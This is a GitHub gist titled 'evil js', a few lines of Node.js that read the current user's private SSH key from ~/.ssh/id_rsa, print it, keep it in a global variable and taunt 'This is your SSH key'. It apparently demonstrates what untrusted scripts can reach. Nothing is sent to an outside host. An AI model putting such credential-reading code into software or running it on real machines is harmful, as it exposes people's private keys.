Skip to content

Instantly share code, notes, and snippets.

@zallarak
Last active July 26, 2019 20:54
Show Gist options
  • Save zallarak/321615c6841917b614ba64f9fe9a8403 to your computer and use it in GitHub Desktop.
Save zallarak/321615c6841917b614ba64f9fe9a8403 to your computer and use it in GitHub Desktop.
evil js
const fs = require('fs')
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString()
console.log(pk)
gvar = pk
console.log('This is your SSH key, kthxbai')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment